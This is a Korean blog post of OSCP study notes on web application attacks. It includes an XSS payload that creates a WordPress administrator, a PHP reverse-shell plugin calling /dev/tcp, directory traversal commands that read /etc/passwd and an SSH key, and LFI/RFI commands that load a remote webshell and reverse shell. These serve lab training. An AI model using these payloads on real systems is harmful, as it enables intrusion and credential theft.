Web Application Attacks

 

White-box testing

Black-box testing(zero-knowledge test)

Grey-box testing

 

OWASP TOP 10

 

-----

Web Application Assessment Tools

For

Nmap(tool) - web services enumeraiton

kali@kali:~$ sudo nmap -p 80 -sV 192.168.x.x
kali@kali:~$ sudo nmap -p 80 --script=http-enum 192.168.x.x

Wappalyzer(online service) - disclose the technology stack behind an application(애플리케이션 서버의 동작 원리, 언어, 구성 파악)

Gobuster(tool) - performing file and web directory discovery

kali@kali:~$ gobuster dir -u 192.168.x.x -w /usr/share/wordlists/dirb/common.txt -t 5

 

Burp Suite proxy - web application testing

 

----

 

Web Application Enumeration

 

Debugging Page Content

Inspecting HTTP Response Headers and Site maps

Enumerating and Abusing APIs

 

Cross-Site Scripting

Stored vs Reflected XSS Theory

JavaScript Refresher

Identifying XSS Vulnerabilities

Basic XSS

 

Privilege Escalation via XSS

var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];

① Gathering WordPress Nonce

var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=attackerpass&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);

② Creating a New WordPress Administrator Account

 

Using JSCompress( ①+② )

 

Encoding the Minified JS with the Browser Console

 

curl -i http://offsecwp --user-agent "<script>eval(String.fromCharCode(###ENCODING YOUR JAVA SCRIPT###))</script>" --proxy 127.0.0.1:8080

Send Crafted request using method fromCharCode(), eval()

 

Add Plugin(Reverse Shell)

<?php

/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: YJ
* Author URI: 
*/

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.XX.XX/443 0>&1'");
?>

 

-------

Common Web Application Attacks

Directory Traversal

- 절대경로, 상대경로

예시에서 나온

http://mountaindesserts.com/meteor/index.php?page=admin.php.
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd

을 보면 해당 웹은 PHP 를 언어를 사용했고, 매개변수 'page' 에서 값을 받아 띄우는 것을 알 수 있다.

위의 URL이 정상 실행된다면 상대경로를 통한 접근이 됐음을 확인

 

kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa

kali@kali:~$ ssh -i dt_key -p 2222 offsec@mountaindesserts.com

kali@kali:~$ chmod 400 dt_key
kali@kali:~$ ssh -i dt_key -p 2222 offsec@mountaindesserts.com
...
offsec@68b68f3eb343:~$

 

리눅스에서는 주로 /etc/passwd\

윈도우에서는 주로 C:\Windows\System32\drivers\etc\hosts

파일을 활용하여 Directory Traversal 취약점을 확인한다.

 

* 실행중인 앱, 서비스의 정보를 알면 추가로 중요한 파일들이 연결되는 경로들을 구할 수 있다.

ex)

Information Services(IIS) web server 같은 경우

로그 경로 : C:\inetpub\logs\LogFiles\W3SVC1\.

중요 정보(passwords or username) : C:\inetpub\wwwroot\web.config

 

CVE-2021-43798(Directory Traversal Vulnerability)

Encoding Special Characters

 

 

File Inclusion Vulnerabilities

kali@kali:/var/www/html$ curl http://192.168.x.x/cgi-bin/../../../../etc/passwd

* ".." 는 웹, 방화벽, 서버에서 자체적으로 필터링 되는 경우가 많아 ASCII 인코딩된 %2e 를 사용한다.

kali@kali:/var/www/html$ curl http://192.168.x.x/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

* apache 2.4.49 version 에서 식별된 /cgi-bin 폴더의 Directory traversal 취약점 이용

 

Local File Inclusion(LFI)

 

 

PHP wrappers

PHP 언어의 가용성을 높이기 위해서, 로컬/원격 파일의 접근하는데 사용하는 틀, 프로토콜 로 이해하면 될거 같다.

php://filiter

data://

#Usage php wrapper(php://filter)
kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=php://filter/resource=admin.php

#encode&decode admin.php. php 잘린 나머지 부분 확인
kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php
kali@kali:~$ echo "base64 text" | base64 -d

# 명령어 실행
kali@kali:~$ curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

※ 위에 예시에서 curl 로 요청했을 때와 차이가 있는 이유

curl : 서버에서 php로 실행된 결과값(실행 결과를 요청)

wrapper : 원본 소스코드(파일 자체를 요청)

 

 

Remote File Inclusion(RFI)

kali@kali:/usr/share/webshells/php/$ python3 -m http.server 80
curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.45.227/simple-backdoor.php&cmd=ls"
curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.45.227/simple-backdoor.php&cmd=cat%20/home/elaine/.ssh/authorized_keys"

kali@kali:/usr/share/webshells/php/$ python3 -m http.server 80
curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.45.227/php-reverse-shell2.php"

 

File Upload Vulnerabilities

Using Executable Files

 

Using Non-Executable Files

 

Command Injection

OS Command Injection

 

 

 

 

참고)

https://github.com/taythebot/CVE-2021-43798

 

'공부 > OSCP' 카테고리의 다른 글

OSCP - 6(Fixing Exploits/Password Attacks)  (0) 2024.03.01
OSCP - 5(Client-side Attacks, Locating Public Exploits)  (0) 2024.03.01
OSCP - 4(SQL Injeciton Attacks)  (0) 2024.03.01
OSCP - 2  (0) 2024.03.01
OSCP - 1  (0) 2024.03.01

+ Recent posts